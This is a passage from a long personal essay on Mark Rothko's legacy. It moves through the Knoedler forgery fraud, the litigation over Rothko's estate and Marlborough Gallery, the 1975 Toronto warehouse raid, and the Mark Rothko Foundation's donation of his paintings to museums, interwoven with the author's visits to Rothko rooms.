As part of his settlement, Lagrange, who looks like an aging, well-groomed werewolf, had to sell his Pollock. But none of the major auction houses, not Christie’s, not Sotheby’s, would take it. There were too many questions about the origins of the work, questions that Knoedler refused to answer. Furious, Lagrange met with Knoedler’s new president, Frank Del Deo, in New York. He demanded the gallery take the painting back. He threated to sue. The gallery refused.
That’s when Lagrange submitted the painting to James Martin, at Orion Analytical—the same scientist who would later study the De Soles’ Rothko. Martin examined the canvas. He tested the paints. He found the work contained at least two pigments that weren’t developed until well after Pollock’s death, in 1956. He concluded, as he later would with the Rothko, that the painting was fake.
In November 2011, Lagrange sent the Orion report to Knoedler. The next day, the gallery shut its doors and announced, via press release, that it was closing forever. Lagrange sued. Other buyers followed. Soon, the Knoedler affair was the biggest story in the art world. “There was a period where you couldn’t go to a dinner party without there being a conversation about it,” Karmel said when I spoke to him for the Mirvish piece.
(Divorce has long played a strong supporting role in the art market. In Sept. 2021, Sotheby’s won the right to auction off an estimated $600 million worth of art owned by divorcing real estate developer Harry Macklowe and his ex-wife Linda. Included in that collection was Rothko’s No. 7 (1951), which was eventually sold, in November 2021, for $82.5 million.)
In the summer of 2016, after covering Hillary Clinton’s Democratic National Convention in Philadelphia, I drove across Pennsylvania to meet my girlfriend in Pittsburgh. It had been a long trip. I had turned thirty-five on the road, the night after Trump accepted the Republican nomination for president in a half empty arena in Cleveland. My girlfriend and I were spending two nights in Pittsburgh to celebrate. One afternoon, we went to the Carnegie Museum of Art. They had a Rothko up, a gorgeous vertical rectangle of yellow on blue. But for whatever reason, I don’t remember much about it. I sought it out. It was there. I saw it. But it didn’t stick with me. A month after the trip, we found out my girlfriend was pregnant. Our daughter was born about nine months after I got home.
Most of the lawsuits stemming from the Golden Goose frauds were settled out of court. Only the De Soles went all the way to trial. When the case finally came before a judge in 2016, Miller was there, in court, every day. “It’s rare for something like the De Soles trial to happen,” he said. “People just don’t have the energy. They just want their money back or they want to move on to the next thing they can make a profit [from].”
For the De Soles, Miller believed, the trial was as much personal as it was financial. “It was really more of a crusade for them,” he said. It seemed as if, unlike all the other collectors who had shelled out millions for a fake painted in a Queens garage, the De Soles wanted the story public. They wanted to show the world how Knoedler had ripped them off. They wanted Freedman to testify, to lay bare the high class grift of it all.
During the trial, the painting—the fake Rothko with the rectangles of black over crimson on a background of red—stood behind a screen. Every once in a while, a lawyer would haul it out as “Exhibit A.” For Miller, sitting in the gallery, it was tough to separate the canvas from what he knew about its background. “With the knowledge that they’re fake, it’s hard to look at a painting like that and be like, well, it’s still pretty good,” he said.
Eventually, the De Soles settled, just before Michael Hammer, the “shadowy Oz-like rich guy” behind Knoedler, was scheduled to testify. (But not before Hammer’s embarrassing spending habits—fuelled by a Knoedler Black Card—were revealed.) That was no surprise. “It is exceedingly rare for forgery cases to go to trial,” Leila Amineddoleh, an art lawyer, wrote after the case. It is even rarer still for them to end with a jury verdict. In a fight between the very, very rich, after all, you can never be sure who the everyday people on a jury will believe.
Glafira Rosales eventually gave up the fraud and cooperated with an FBI investigation. She spent three months in jail awaiting trial, pleaded guilty and was ordered to pay $81 million in restitution. “Last I heard Glafira Rosales was a waitress at a diner in Queens,” Miller said. “It says a lot.” Bergantinos Diaz, who she accused of years of physical and emotional abuse, fled to Spain, where he remains, free. Qian, the artist, went back to Shanghai. A documentary crew recently found him there, living and painting in a small apartment. As for Freedman, to this day, she presents herself as the central victim of the fraud. She’s back selling art, out of her own gallery.
Miller likes art. He finds the business fascinating in a grotesque, mirror-on-society kind of way. But he also sees it as a reflection of a lot of what’s wrong in America today. “It’s easy to pin a lot of things on the art world, but it is a symptom, I think, in the way that student loan debt is a symptom,” he said. “It’s just a distillation of the free market and every horrible thing that it’s capable of doing.”
It’s a world of the rich, by the rich, that’s divorced now from the comparatively normal. “You work in newspapers,” he said. “It’s similar to that, in the way that private equity has profited off of the media industry and left journalists and editors holding the bag. That’s the case in the art world. A small amount of people has gotten very, very rich off it and everyone else has suffered greatly. And there’s no turning back once you get there.”
By the time the De Sole trial ended, my involvement in the Knoedler case had been over for years. I left the magazine in 2014 and joined a newspaper in Toronto. I wrote about crime and life in the city. But mostly my beat was the right-wing political world. In January 2017, I was in Washington D.C. to cover the inauguration of Donald Trump. My girlfriend was five months pregnant with our daughter. We were getting married in a week. I had my flight home scheduled for the afternoon after the inauguration so I could get back on time for my bachelor party.
It’s easy to recognize in retrospect, though I certainly didn’t at time: I wasn’t ready, for any of it. I was obsessed with the idea that having a child was an end, that I had to achieve everything I could before my daughter was born. I had a big feature planned to come out on our wedding day. I met with a book agent just before I left for Washington. When I explained everything that was happening in my life, she looked at me like I was delusional for wanting to write a book too; I probably was. By the time inauguration week came, I was also physically tired, from work and wedding planning and anxiety, and from sleeping on a friend’s small office floor in D.C. (The newspaper couldn’t afford a hotel.)
Two days before the event, after filing a story from the coat room of the National Gallery of Art (there was a desk in there and the WiFi was free), I walked into the gallery itself. I knew the National had a large Motherwell—one of his Elegies, the series Qian had forged—and I wanted to see it. I found it hanging on the wall opposite a huge open staircase. It was large and striking, but distant somehow in the nearly empty gallery.
I spent several hours drifting through the barren buildings—a linked set of two on the National Mall, a short walk from the Capitol where the inauguration would take place. In the East Building, in a tower above the third floor, I found myself in a newly opened gallery space split in two by a white wall that came up just short of the ceiling. From the entrance, I walked first past Newman’s Stations of the Cross—fifteen plays on a theme of black or white stripes on white canvas. Once past the dividing wall, I stepped into a riot of colour and shape. It was an entire room of Rothkos, more in one place than I had seen combined in two countries, four cities and three states.
I sat down on a bench, placed right in the centre of the room, and stared. I was alone with ten paintings that, if sold at auction, would be worth more than half a billion dollars. There were purples and greens, blues, oranges, tans: all of them arranged in stacked blocks of colour with those tide pool edges—the spaces in-between where everything combines. I don’t know how long I sat there. I know I cried, although even now I’d have trouble breaking down the exact alchemy of why. Eventually, a woman walked in and I left. Outside, I scribbled a phrase in my notebook, diagonally, across most of a page: “Rothko at the Inauguration.”
What I didn’t notice then, what I wouldn’t have understood if I had, were the name plates on the paintings. Two of them were typical. One was listed as a gift from Enid A. Haupt, a publisher and philanthropist, the other from the collection of Rachel “Bunny” Mellon, who married into the Mellon fortune and at one time owned as many as thirteen Rothkos. The other eight, though, were unusual. They spoke of another scandal, as large and evocative in its own way as Knoedler’s.
The paintings were all done in an eight-year period between 1949 and 1957. They differed greatly in colour, shade and tone. But they all listed identical provenance. They all came, in other words, from the same source, in the same year. Next to each painting, in the gallery’s records, was a single, mysterious, line:
“Gift of the Mark Rothko Foundation, Inc. 1986.”
THE MOST SIGNIFICANT PIECE
At some point in early middle age, having already pursued a career in clinical psychology, Christopher Rothko, Mark Rothko’s second child and only son, became, somewhat to his own surprise, the de facto overseer of his father’s legacy. The role was unexpected for Christopher in part because, for most of his childhood, he had had almost no relationship with his father’s art at all. “There really was a very significant portion of my young life where there not only weren’t any paintings in our home, but there was very little museum activity as well,” he said.
He knew his father was an artist, obviously. Even in the 1970s and ’80s, “Mark Rothko” was a famous name. He remembered his father’s studio. He was aware, in a background kind of way, of the long and brutal fight going on over his work. But visual art wasn’t Christopher’s passion. In school, he went into the sciences. He long figured that if he inherited anything from his father, it was his love of Mozart.
But as he grew older, Christopher began to take on more and more responsibility for what might be considered the Business of Rothko. He helped organize shows, spoke at openings, sat on boards, delivered lectures—including his first, in his father’s hometown in Latvia. He edited catalogues and even wrote a book, Mark Rothko: From the Inside Out, that came out in 2015.
That book was the reason I reached out to Christopher, and the reason he met me, in a café near his home on the Upper West Side of Manhattan. I wanted to ask him about the impact the Rothko room had had on me. I was still, years later, trying to figure out how much of that full-body hush I felt was me and how much was the art. Rothko wasn’t surprised I asked. People have for years told him similar stories about his father’s work, and about that room in particular. “Really the magic of his paintings is his ability to find that level of communication that is so elemental,” he said. “He’s able to essentially get under your skin.”
Christopher Rothko’s own relationship to his father’s art has evolved over the years. He’s always been fond of the earlier, lesser known, work. His favourite Rothko might be Slow Swirl at the Edge of the Sea, a big, surrealist canvas that hung in his living room when he was boy. (It now hangs in the Museum of Modern Art in New York.)
But in recent years, he’s found himself drawn to the dark, almost monochromatic, paintings his father did in the last years of his life. He knows what most people think of that work, that it’s a reflection of how his father felt—depressed, sick and often drunk. But he doesn’t believe it’s that simple. Art isn’t always a reflection of biography, even when the pieces of that biography seem to line up so well. “And then of course,” he said, “the most significant piece of that biography is the fact that my father killed himself.”
Once I knew to look for them, I started seeing them everywhere. They were up in the Met, in tiny print, beneath the details of a large canvas of white and red on yellow. They were there on the opposite wall, too, twice. Tiny words, next to two paintings of scuffy black and grey. In that exhibit alone, I saw them five times, the same words, again and again: “Gift of the Mark Rothko Foundation.”
Most of the Rothkos in that exhibit were clustered in a single, dimly lit room. While I looked at them, a class of school children walked in. They huddled around one painting of bold rectangles on yellow. “This is the last painting that he painted that was very, very bright,” their guide said.
After the children left, I stood in front of the painting. As I stared, a third rectangle seemed to emerge, yellow on yellow, between the white and red — brighter and deeper and more insistently there. I walked around the room but kept coming back to that work. Up close, all the brightness seemed overlaid on something dark, a shadow beneath the yellows and the red. Eventually, I moved back to the opposite wall where two late works of brown and grey on paper were hung. There was a faintness to both of them; the paper bled through.
On Wednesday February 25, 1970, Oliver Steindecker, a friend and assistant, found Mark Rothko lying face up on the kitchen floor in the studio where he had been living for the past eighteen months. Rothko’s face was pale, almost jaundiced. He wore black socks and blue long johns. His pants were folded neatly over a chair. On a nearby sink, Steindecker found a double-edged razor blade, one end wrapped in tissue paper. At some point, several hours before, Rothko had used the blade to cut holes, each more than a half inch deep, into the inside of his arms, just below his elbows. He was sixty-six years old. He left behind Christopher and his sister Kate, six and nineteen years old, and almost 2000 unsold works of art.
Rothko had been deeply depressed for more than a year before his death. In 1968, he suffered an aneurysm from which he never fully recovered. He was drinking heavily, had alienated friends, and left his wife, Mell. According to his biographer, James E. B. Breslin, he was also receiving a barrage of conflicting treatments for heart disease, hypertension and depression from a nest of squabbling doctors. And before nearly severing his brachial arteries, he took a potentially lethal dose of Sinequan, an early antidepressant.
Though he was born in New York, Christopher Rothko spent much of his childhood in Ohio, first with his aunt and uncle in Columbus, then later with his sister in Cleveland. In Manhattan, his father had been famous, a legend, even, in certain circles. But in Columbus, “nobody had heard of him,” Christopher said. “So that part of my identity kind of went underground for six or eight years.” In his twenties, he trained as a psychologist. He practiced for a time but as he grew older, he did less therapy as he took on more management of the art.
Christopher Rothko thinks that background, in psychology, is part of the reason why he’s so skeptical about the correlations people often make in his father’s paintings, the links between colour and mood. “I’m always a little suspicious of that kind of socially mediated understanding of how colour, as well as a lot of other things, work,” he said. His father’s paintings are about reflection, he believes. “In the dark works, he’s slowing down the conversation. He’s really insisting that you stop and reflect. You can’t do a drive by and say, ‘Oh yeah, I saw a Rothko there. It was yellow and red and orange.’”
Christopher might be fighting a losing battle on that front. At the Met that day, the guide asked the children what they thought about a painting in grey and black. “He was in the darkness,” one girl, maybe eight or nine years old, said. “He was trying to tell his family he felt alone,” another added. “Well,” the guide replied, “after his dark period, he did commit suicide.”
What is certainly true is that the sunnier works are now more valuable. A big, bright Rothko is a commodity as much as it is a masterpiece. It can be bundled into an art investment fund and sold as a security. It can live unseen for years and even decades, appreciating in a freeport warehouse, where it can’t be taxed or traced as its value grows. “I try not to think about it,” said Laili Nasr, the National Gallery’s leading expert in Rothko, “because I think that gasp that you hear when people come into the Rothko room, a little part of that gasp is: ‘This is worth so much money.’”
In 1958, after several decades of teaching and obscurity, Rothko accepted what was, at the time, the largest commission of his career: $35,000 for a series of murals in the new Four Seasons Restaurant in Manhattan’s Seagram Building. Rothko was by that point well established as a leading American artist. But he was far from rich. In 1949, at the dawn of his most active and artistically fruitful period, his net income had been less than $1,400. (That’s the equivalent of about $15,000 today). By the late 1950s, he was more comfortable, maybe even upper middle class, but he remained deeply ambivalent about money, the rich, and the commercial side of art.
The Seagram’s commission was something of a surprise. Rothko was openly, publicly disdainful of the kind of people who would eat in the Four Seasons. He described the restaurant to his friend John Fisher in 1959 as a “place where the richest bastards in New York will come to feed and show off.”
After eating in the restaurant himself, Rothko—having spent two years on the murals—cancelled the commission in a huff. “Anybody who will eat that kind of food for those kind of prices will never look at a painting of mine,” he told another friend, according to Breslin. He returned the money and kept the murals himself.
“As an anarchist, he disapproved of the wealthy and questioned their taste,” Fisher wrote in 1970, after Rothko’s suicide. But in the last decade of his life, only the very wealthy could afford his work. It was a conundrum that dogged him until his death. “When his work became a commodity he could no longer evaluate it,” his friend James Brooks told the journalist Lee Seldes. “He did not know whether people were buying his paintings because they were good or because they were Rothkos.”
Four metro stops from the National Gallery in Washington, an old bench sits in the darkness between four large paintings in muted shades of orange, green and red. In the early 1960s, Duncan Phillips, a Pittsburgh steel heir turned art collector, opened the world’s first Rothko Room in his family’s museum in northwest D.C. Rothko himself advised Phillips on the layout of the room. He wanted the lights dim and the paintings hung low. On a trip to D.C. for Kennedy’s inauguration, in 1961, he even suggested Phillips swap out the chairs in the room for a bench.
That same bench, with wooden slats, was still in the Phillips Collection Rothko Room when I visited. As I shifted to look at the different paintings, the slats moved beneath me. Unlike the wide, airy Rothko room at the National Gallery, the Phillips room has a gently claustrophobic air. If you spend much time inside, it begins to feel like the paintings are closing in—a soft smothering of paint and mood.
On a wall just outside the Rothko Room hangs a painting that feels somewhere between Abstract and Gothic. It features a woman’s profile from the shoulders up, atop a cloudy background of stormy blue. Instead of a face, the painting has what looks like a waning yellow moon melted sideways onto a misshapen skull. The placard next to the painting identified the artist as Theodoros Stamos, a contemporary of and at one time a close friend of Rothko’s. (After his death, Rothko was initially buried in the Stamos family plot.)
Stamos finished Moon Chalice in 1949, when he was twenty-six years old. Eleven years later, he would enter what would become the worst, most personal legal battle in the history of modern art. By the time it was over, Stamos would be in ruins. His career collapsed. His reputation never recovered. Christopher Rothko would end up, according to multiple accounts, with the title to his Manhattan home.
The more money Rothko’s paintings earned, the more miserable the painter seemed to grow. “Rothko, I believe, deeply resented being forced into the role of a supplier of ‘material’ either for investment trusts or for aesthetic exercises,” Fisher wrote. And yet, in the last decade of his life, he kept agreeing to long, complicated and often unfavourable contracts with men he seemed to loathe.
In the late 1950s, Rothko had fallen in with an accountant and art world hanger-on named Bernard Reis. At first, Reis just provided Rothko financial advice. But over the next decade, he grew to influence more and more aspects of the painter’s life. When Rothko suffered his aneurysm in 1968, it was Reis who checked him into the hospital, according to Seldes, pushing aside his wife and friends. It was Reis who steered Rothko to the doctor who prescribed him the Sinequan. And it was Reis who, fatefully, pushed Rothko into a financial arrangement with Marlborough gallery and its owner, Frank Lloyd.
“Behind every major art gallery,” Miller told me, “there’s always some shadowy Oz-like rich guy who owns a holding company.” In Seldes’ book, The Legacy of Mark Rothko, Lloyd comes off as the shadowy rich guy of shadowy rich guys. “The degree of sadism” at his gallery, Motherwell told Seldes “was unbelievable, even for a big corporation.” (Motherwell eventually left Marlborough for Knoedler. & Co.)
Rothko had a similarly toxic relationship with Lloyd. But until the day he died he continued to do business with the man. In fact, the morning his body was found, he had been scheduled to go to his warehouse with Donald McKinney, a representative from Lloyd’s gallery, to pick out more canvasses for sale.
The prospect of that meeting haunted Rothko. “I think he felt…that he had sold his soul,” McKinney told Breslin. Seldes even believed it played a role in his suicide. “The final turn of the screw that night in February was the new deal Lloyd had proposed and the scheduled warehouse selection…the next day.”
(Seldes may have been something of an unreliable narrator on that point. Later in the book, she entertained the possibility that Rothko, against all evidence, was murdered.)
Rothko’s first ever high-profile show was held at Peggy Guggenheim’s Art of This Century gallery in New York in 1945. Decades later, in 1978, the Solomon R. Guggenheim Museum—famous for its Frank Lloyd Wright spirals—would host the first major Rothko retrospective after his suicide.
In 2019, I stood, midway up the central spire in the Guggenheim, looking at a large canvas of black over grey with a white border that Rothko painted in the last year of his life. I was in a dark place, myself, professionally. The paper where I worked, always conservative, had become both harder and less interesting under new management. I no longer covered the far right; at times I felt like I was participating in it by continuing to work there.
All of that was in my mind as I looked at that Rothko at the Guggenheim. The hazy line between the colours on the canvas stood at about the forty-five yard marker on a football field. The grey washed up against the black and receded back again like surf. All around, at every corner, the edges popped out and bled gently into the border.
No one lingered long before the Rothko. (The darker paintings really are Rothko’s deeper cuts.) Ten seconds. twenty seconds. A quick photo and they were gone. Many walked straight by.
Like the works in the National Gallery and at the Met, Untitled (Black on Grey) was donated to the Guggenheim by the Mark Rothko Foundation in 1986. But Untitled had had another stop along the way. Before ending up at the Foundation, Untitled had been sold, cheaply, to the Marlborough Gallery, the spoils in a conflict The New York Times would later call “the betrayal the art world can’t forget.”
According to Rothko’s final will—which Reis amended for him in the last year of his life—the bulk of his artistic estate was to be donated to a foundation set up in his name. Rothko wasn’t always clear what he wanted that foundation to do. He had always expressed a desire that his paintings be held together, in large groups, for public viewing. But he also spoke at times about wanting to set something up to help out mature artists in financial trouble. Before his death, he named Reis, his friend Morton Levine, and Stamos, the painter, as the executors of his estate. After his suicide, the three gathered to decide what should be done with the Mark Rothko Foundation.
What they decided on was a liquidation sale. Despite two of the three having conflicts—Reis was on Marlborough’s payroll and Stamos was setting up a representation deal with the gallery—the executors agreed to consign or sell the entire Rothko collection to Lloyd and Marlborough at a below-market price.
The executors’ goal was to quickly monetize the paintings—which Levine had photographed and catalogued before Rothko’s death—and dole out the cash that came back in grants. The deal left Rothko’s family with just forty-four paintings—the ones that were in the family home when he died. It also eliminated any chance of a significant public future for Rothko’s work. Instead, the paintings were to be parceled and sold off, for Lloyd’s benefit, to buyers Seldes called the “the modern Medicis.”
About three years after my first visit, I returned to the National Gallery in Washington. Harry Cooper, the gallery’s senior curator, and Nasr, an art historian, met me in Cooper’s office. I told them that I wanted to understand what the Rothko room had done to me. (That’s one advantage of being a writer. You can cry in front of paintings and later get one of the world’s leading experts to tell you why.)
The Rothko room itself is one half of a tall, airy hexagon—part of a matching pair—divided in the middle by a white wall on either side and at the top. The so-called Tower Galleries opened in 2016, after a three-year renovation. The towers were always there, but in the original building, they had false floors. “It was a suspended ceiling sort of hanging over the galleries below,” said Cooper.
Since the re-opening, the three new galleries have been dedicated to Alexander Calder, Barnett Newman, and Rothko. There’s no formal policy dictating that that’s how they’ll always be used. But the gallery isn’t likely to make a change any time soon. “We’ve been rotating them a little bit,” Hooper said of the Rothkos. “I thought I would rotate them a lot more, but ones I picked just—it seems so beautiful that I haven’t.”
As for the impact the paintings have, Nasr believes there’s just something about Rothko’s work that lends itself to the “very intimate experience of being surrounded.” It’s not that other artists aren’t great, she said. “But you don’t necessarily need to be surrounded by Pollocks.”
Rothko himself certainly wanted his works seen together. In his later years he repeatedly tried to find or design spaces where they could exist in groups. (One such location, the Rothko Chapel in Houston, recently celebrated its fiftieth anniversary.) He was also somewhere between finnicky and fanatical about the conditions of their display—from the lighting, dim, to his preference that they all be hung at eye height.
Regardless, there is something, not quite holy, but maybe hallowed, about the Rothko room. It feels like a war memorial, or a cathedral on an off day; it bears inside a hush that’s almost physical. “It’s become a space that you go, sit in and contemplate,” Nasr said.
Just six months after Mark Rothko’s death, Mell Rothko, his widow and Christopher and Kate’s mother, died suddenly of heart failure at the age of forty-eight. When Mell was laid to rest, Kate was shocked by how few of her father’s friends showed up. “She’d known these people for twenty-five years…” Kate said in an interview years later. “It was disillusioning for me to see the superficiality of the art world, and that has never gone away.”
By the time of the funeral, Kate had other reasons to be skeptical about the art world. The details of the estate’s deal with Marlborough were, after much prying, trickling out from the executors. With them came the realization that Rothko’s vast oeuvre was to be sold off, quickly, privately and cheaply, which was devastating to Kate. Under U.S. law at the time, Kate was too young to control her own legal affairs. Herbert Ferber, a friend of the family, became her legal guardian.
In 1971, through Ferber, she sued the executors and Marlborough in New York Surrogate Court, claiming they had entered into a conspiracy to defraud the estate. The executors counter-sued, seeking, among other remedies, the paintings that had been in the Rothko brownstone when Mell died.
What followed was, in the words of The New York Times, “the biggest, most publicized and most protracted legal wrangle in art-world history”—at least until the Knoedler trial in 2014.
For almost four years after filing suit, Kate Rothko Prizel watched as her bank accounts drained and the fight dragged on. She was paying her legal costs out of her own pocket while the executors billed the estate for theirs. She was in school, living with her husband in a Brooklyn apartment. The only “Rothkos” they had were posters from a museum. But just before Christmas, in 1975, more than four years after the initial suit, and almost six years after her father’s death, the surrogate court ruling came down, changing Kate’s life and rewriting the legacy of her father’s art.
After sifting through some five hundred exhibits and 20,000 pages of testimony, Judge Millard L. Midonick found for Kate and Christopher Rothko on almost every aspect of the case. He stripped Reis, Stamos and Levine of their roles with the estate. He cancelled the contracts with Marlborough and ordered the 658 paintings that remained unsold returned. He also found the executors personally liable for millions in damages, which is how Christopher Rothko ended up, many years later, as the owner of Theodoros Stamos’ home.
The East Building of the National Gallery, home to the towers and the Rothko room, was opened to the public in 1978. I.M. Pei, a Chinese-born architect, designed the building’s twin triangle shape to fit an unusual trapezoid of land reserved for the expansion between the original gallery and the Capitol Building. Construction of the airy, skylit structure was funded with a gift from Paul Mellon, Bunny’s husband—and a noted horse racing enthusiast—and his sister, Ailsa Mellon Bruce, who was for a time considered the richest woman in the United States. (In her twenties, she almost married Otto von Bismarck’s grandson.)
In 1979, not long after the East wing opened, Arthur Jafa, who would go on to become one of the leading American video artists of the twenty-first century, visited the building as part of an architecture class at Howard University. “There was an exhibition of Mark Rothko, eight brownish paintings that all looked the same to my untrained eye, and they infuriated me,” Jafa told The New Yorker more than forty years later. “I told the instructor it was bullshit. I was irate. I went back to that show ten times, kept going back, couldn’t get it out of my mind. I was obsessed. He’s still my favorite painter.”
The Rothko case didn’t end with Midonick’s ruling. The executors appealed, lost, appealed the appeal and lost again, in November 1977. Lloyd, meanwhile, had already conspired to remove many of his assets, including at least sixty-eight Rothkos, from the court’s jurisdiction by the time the initial ruling came down.
For months before the judgement, Lloyd had been quietly shipping art from New York into Canada. His plan had been to send it from there to Switzerland, where he could lose it in a fog of quiet sales and secret freeports. But before Lloyd could get the works out of Toronto, a mystery caller tipped off a New York lawyer —Howard Eisenberg, who was otherwise unconnected to the case—to the plan. Eisenberg in turn informed the New York Attorney General who informed Edward Ross, Kate Rothko’s lawyer, who then confirmed that Lloyd’s man, Franz Plutschow, was on his way from Zurich to Toronto.
That call set off a five day Christmas caper that saw one group of American lawyers and Canadian private detectives hunting for Plutschow while another set scoured local galleries and warehouses for any sign of the works. According to Seldes, they eventually cracked the case through a simple ruse. One of the lawyers called Lloyd’s Toronto gallery claiming to be a dealer with a client looking for somewhere to store his collection. “The answer,” Seldes wrote, “was almost automatic: Deakin Fine Art.”
On December 23, 1975, the Rothko team, armed with a Canadian court order, raided the Deakin Fine Art Transportation warehouse near the Toronto waterfront. What they found inside was akin to the storeroom of a minor king. There were paintings by Clyfford Still, Jackson Pollock and Paul Klee. Fifteen Henry Moores. A Kandinsky and dozens of others, including twenty-four Rothkos from the disputed estate. All told, Lloyd had about 1,750 artworks worth more than $12 million (or about $60 million today) in the warehouse. They were all seized and held as collateral in the New York case.
The lawyers, meanwhile, cornered Plutschow in Lloyd’s Toronto gallery—a partnership with Mira Godard, the grand doyenne of Canadian gallerists. They presented the terrified Liechtenstein resident with a court order preventing him from taking any art back with him to Europe. But the young fixer was free to go.
In the late winter of 2019, not long before the world shut down, I tried looking for the old Deakin warehouse, on the east side of Toronto, where I then lived. Deakin Fine Art Transportation went out of business sometime in the mid-1980s. The location of its once popular and briefly notorious warehouse wasn’t listed in the City of Toronto’s archival records. It had never been mentioned in the Toronto Star, the local newspaper of record, where I now work. The lawyers involved in the Toronto end of the caper were either unnamed in the coverage or long dead.
After several weeks of looking, I did reach one former Deakin executive by phone. Chris Birt had been working at the Marlborough-Godard gallery in 1975, when the Rothko raid occurred. (He joined Deakin several years later.) He was actually in the Yorkville gallery itself when the lawyers found Plutschow inside. (Seldes’ book records him making a rather panicked call to Godard in Montreal.) Birt and I spoke very briefly. The events of 1975 still had him on edge, forty-five years later.
I asked Birt if he knew where the Deakin warehouse had been. He suggested an area on Parliament Street, in Cabbagetown, where the writer Michael Ondaatje lives. He then hustled me off the phone and asked that I call him back for more details. He ignored my future calls.
Fourteen months later, having been waylaid by the pandemic, I started looking again. Seldes described the warehouse as having been “a large, low, cinderblock building” with huge, double-hung doors “near the docks of Lake Ontario.” There was a Deakin warehouse near the waterfront, on Lakeshore Boulevard, just metres north of the commercial pier. But according to records held by the National Gallery of Canada, and backed up by published references to a Deakin-linked, tequila-funded art contest, Deakin didn’t start sending invoices from that warehouse until December 1980, years after the Rothko raid.
Those same records, however, did point to another building, a low, mostly brick warehouse at the bottom of Pape Avenue, slightly further from the water and the pier, that today holds a photo studio and the stockroom for an art supply chain. When I visited, on an unreasonably windy day in March, I could see stacked boxes of watercolour crayons, pastels and pan sets through the windows.
Between June 1975 and December 1980, Dominion Gallery, the oldest private gallery in Canada, paid shipping invoices to Deakin at that address. It still has doors that are double-hung, though I can’t say I’d describe them as huge.
I can’t be 100% sure. But I believe that is where the Rothko raid took place. A security guard was smoking near a dumpster. The bricks on the south-facing wall were painted black. I had solved the mystery. But like many small mysteries, the solution didn’t offer me much. It was just a commercial building across from a movie studio. I had dragged my friend Jake, another reporter, out with me that day. He gamely scoured the first location with me, circling the building again and again. At the second, he mostly stayed in the car.
The Rothko estate eventually reclaimed more than six hundred paintings from Lloyd and Marlborough. Some, however, were lost for good, including Homage to Matisse, the only painting Rothko named in his mature period and the first painting Kate Rothko Prizel can ever remember seeing. “It’s so distinct among my father’s paintings that it stuck with me my entire life,” she said in an interview in 2016. “It’s the one painting I would really like to have; I grew up with it,” she said in another.
Rothko himself never sold Homage to Matisse. He named it after his hero, who died in 1954. “At some point, unfortunately, it was hanging on a yacht somewhere off the coast of Miami,” Hooper said.
Franz Plutschow is still alive and still active in the Lloyd family art business. His name appeared several times in the Panama Papers, as a director of a Bermuda-based holding company tied to Marlborough and Lloyd, who died in 1998. Max Levai, Lloyd’s grandnephew, sued Plutschow in fall of 2020, alleging, among other things, that the Marlborough Gallery, which still exists, and which Lloyd’s children still own, had stolen his Instagram account. As of March, Levai’s lawyers had not been able to track Plutschow down to serve him with the suit.
The Rothko Affair was the greatest scandal in the history of the New York art world, until a greater scandal came along, decades later in the form of the Knoedler forgery ring. The case was covered religiously at the time by the New York press, including in The Village Voice, by Seldes. She kept on the case for years after the original verdict and her book has come to be seen as the definitive text on the affair. But even at the time of publication, it was controversial. The art critic Hilton Kramer savaged Seldes in The New York Times, as did Robert Hughes—“the most famous art critic in the world”—in the New York Review of Books. “When functioning as a court reporter she does well,” Hughes wrote. “As a sociologue of the art world, she is quite inept.”
In 2010, after a chance run-in at the Museum of Modern Art, the artist David Levine began his own research into the Rothko Affair. Levine is the son of Morton Levine, one of Rothko’s maligned executors. In the younger Levine’s view, Seldes’ account is entertaining, but “wildly irresponsible.” It doesn’t reflect the reality he found sifting through thirty boxes of files in the Surrogate’s court. It doesn’t fully tell the story of Rothko, the real villain in Levine’s eyes—a depressed, alcoholic, monomaniacal narcissist who, having alienated his family, left his paintings in the hands of his friends instead, only to see those paintings destroy his friends one by one. “I think it’s awful that Rothko,” Levine wrote in a piece published in 2011, “one of the purest exponents of pure abstraction, had to take everyone else down with him in such a messily concrete way.”
After his initial ruling, Midonick banished Levine, Reis and Stamos and named Kate the new executor. He also found that the children were owed about half their father’s estate. But Rothko’s will had been clear. He wanted his art to go to a foundation. And even subtracting the children’s share, that still left almost a thousand works of art, including more than three hundred oil paintings, that had to go somewhere. That somewhere, eventually, became the new Mark Rothko Foundation.
In 1954, Donald Blinken, a young businessman who had recently returned to New York after several years in London, met Rothko at a cocktail party held by the art dealer André Emmerich. Blinken was a bit of an art dabbler at that point. “I had been collecting younger European artists,” he said. But he wasn’t a serious collector. Rothko, even then, was serious, and Blinken wanted in.
Blinken bought five paintings from Rothko over the next five years. It worked the same way every time. The painter wouldn’t let him buy just anything. Instead, Blinken had to go to the studio and choose from a pre-selected group of four or five. He did that about once a year until 1960, when he was priced out by Rothko’s growing fame.
In the 1970s, Blinken watched the drama over Rothko’s estate play out from a distance. He knew Rothko and his work. But he had no serious ties to any of the major players in the affair. In the insular world of New York art that made him something of an outlier.
Midonick ordered that a board be created for the new foundation. It included a member of the Phillips family (of the Phillips collection), the director of the Guggenheim, a retired MoMA curator, two artists, a Pulitzer (not a prize winner, an actual Pulitzer) and, as president, Donald Blinken. “[They] had to find people who were interested in Rothko or who had Rothkos but were not contaminated by the original Rothko case,” Blinken said decades later, when I spoke to him. That narrow group turned out to include him.
On a midsummer day in 1979, in a conference room in the offices of Breed, Abbott & Morgan, a Manhattan law firm, five people, including Kate Rothko Prizel and Donald Blinken, gathered to divide up one the great American art collections of all time. Before them, on the table, sat slides and inventory sheets, as well as coffee and sandwiches. Blinken, along with two others, represented the Mark Rothko Foundation. Rothko Prizel was there for the estate. For an entire week, working in lots of nine, the two sides divvied up the 2000 unsold works that Rothko left behind, including many that had since been reclaimed from Marlborough.
The draw worked something like an abstract expressionist fantasy draft. Kate went first, then the foundation, then back and forth another 1,556 times. (The Foundation took five out of every nine paintings under the terms of the settlement, so there were only seven picks per lot.) “At the end of the week we had agreed on everything,” Blinken said. “The children knew which pictures they were receiving. The Foundation knew which we had to give away.”
The Foundation directors had made a radical decision. Rather than sell the paintings to fund grants or set up a private Rothko museum, they planned to donate them, all of them, to galleries in the United States and around the world. “The big job we had was deciding which museums should get what,” Blinken said. Between 1979 and 1986, they canvassed galleries and museums, narrowing down the list of potential donees, then asking the finalists if they’d like a Rothko. “Most of them said yes,” Blinken said. “Oddly enough, the French didn’t seem to be interested.”
